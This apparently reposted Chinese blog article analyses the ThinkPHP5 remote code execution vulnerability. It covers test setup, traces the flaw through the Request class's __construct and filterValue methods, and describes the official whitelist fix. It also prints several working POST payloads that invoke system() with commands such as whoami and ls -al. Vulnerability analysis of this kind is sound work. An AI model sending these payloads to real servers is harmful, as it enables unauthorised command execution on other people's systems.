ThinkPHP5 遠程代碼執行(POST)
- 漏洞概要
- 初始配置
- 漏洞利用
- 漏洞分析
- 漏洞修復
- 攻擊總結
漏洞概要
- 本次漏洞存在于 ThinkPHP 底層沒有對控制器名進行很好的合法性校驗,導致在未開啟強制路由的情況下,用戶可以呼叫任意類的任意方法,最終導致遠程代碼執行漏洞的產生
- 漏洞影響版本:
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
初始配置
獲取測驗環境代碼
composer create-project --prefer-dist topthink/think=5.0.20 tpdemo

將 composer.json 檔案的 require 欄位設定成如下
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.23"
},
然后執行
composer update

漏洞利用
Payload
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要開啟框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞分析
從官方的修復代碼中可以很明顯的看出
$method來自可控的$_POST陣列,而且在獲取之后沒有進行任何檢查直接把它作為Request類的方法進行呼叫,同時該方法傳入的引數是可控資料$_POST,也就相當于可以隨意呼叫Request類的部分方法


同時可以觀察到
Request類的__construct方法中存在類屬性覆寫的功能,這對之后的利用非常有利,Request類的所有屬性如下
protected $get protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;

繼續跟行程式發現如果框架在組態檔中開啟了
debug模式( ‘app_debug’=> true ),程式會呼叫Request類的param方法,這個方法需要特別關注了,因為Request類中的param、route、get、post、put、delete、patch、request、session、server、env、cookie、input方法均呼叫了filterValue方法,而該方法中就存在可利用的call_user_func函式,


跟進
param方法后發現其呼叫method方法,method方法會呼叫server方法,而在server方法中把$this->server傳入了input方法,這個$this->server的值可以通過先前Request類的__construct方法來覆寫賦值,當可控資料作為$data傳入input方法時,$data會被filterValue方法使用$filter過濾器處理,其中$filter的值部分來自$this->filter,又是可以通過先前Request類的__construct方法來覆寫賦值


接下來就是
filterValue方法呼叫call_user_func處理資料的程序,代碼執行也就是發生在這里

接下來再來看看如果沒有開啟框架除錯模式,是否可以利用該漏洞,在
run方法中會執行一個exec方法,當該方法中的$dispatch['type']等于controller或者method時,又會呼叫Request類的param方法


跟進
Request類的param方法,其后面的呼叫程序又會和先前的分析一樣了
現在還要解決一個問題,就是如何讓$dispatch['type']等于controller或者method,通過跟蹤代碼發現$dispatch['type']來源于parseRule方法中的$result變數,而$result變數又與$route變數有關系,這個$route變數取決于程式中定義的路由地址方式


ThinkPHP5 中支持5種路由地址方式定義
| 定義方式 | 定義格式 |
|---|---|
| 方式1:路由到模塊/控制器 | ‘[模塊/控制器/操作]?額外引數1=值1&額外引數2=值2…’ |
| 方式2:路由到重定向地址 | ‘外部地址’(默認301重定向) 或者 [‘外部地址’,‘重定向代碼’] |
| 方式3:路由到控制器的方法 | ‘@[模塊/控制器/]操作’ |
| 方式4:路由到類的方法 | ‘\完整的命名空間類::靜態方法’ 或者 ‘\完整的命名空間類@動態方法’ |
| 方式5:路由到閉包函式 | 閉包函式定義(支持引數傳入) |
在 ThinkPHP5 完整版中,定義了驗證碼類的路由地址,程式在初始化時會通過自動類加載機制,將
vendor目錄下的檔案加載,這樣在GET方式中便多了這一條路由,可以利用這一路由地址使得$dispatch['type']等于method,從而完成遠程代碼執行漏洞
構造出的Payload
POST /index.php?s=captcha HTTP/1.1
?
Content-Length: 59
_method=__construct&filter[]=system&method=get&get[]=ls+-al
# 或者
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
漏洞修復
官方的修復方法是:對請求方法
$method進行白名單校驗

攻擊總結
參考Mochazz師傅的審計流程

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294636.html
標籤:其他
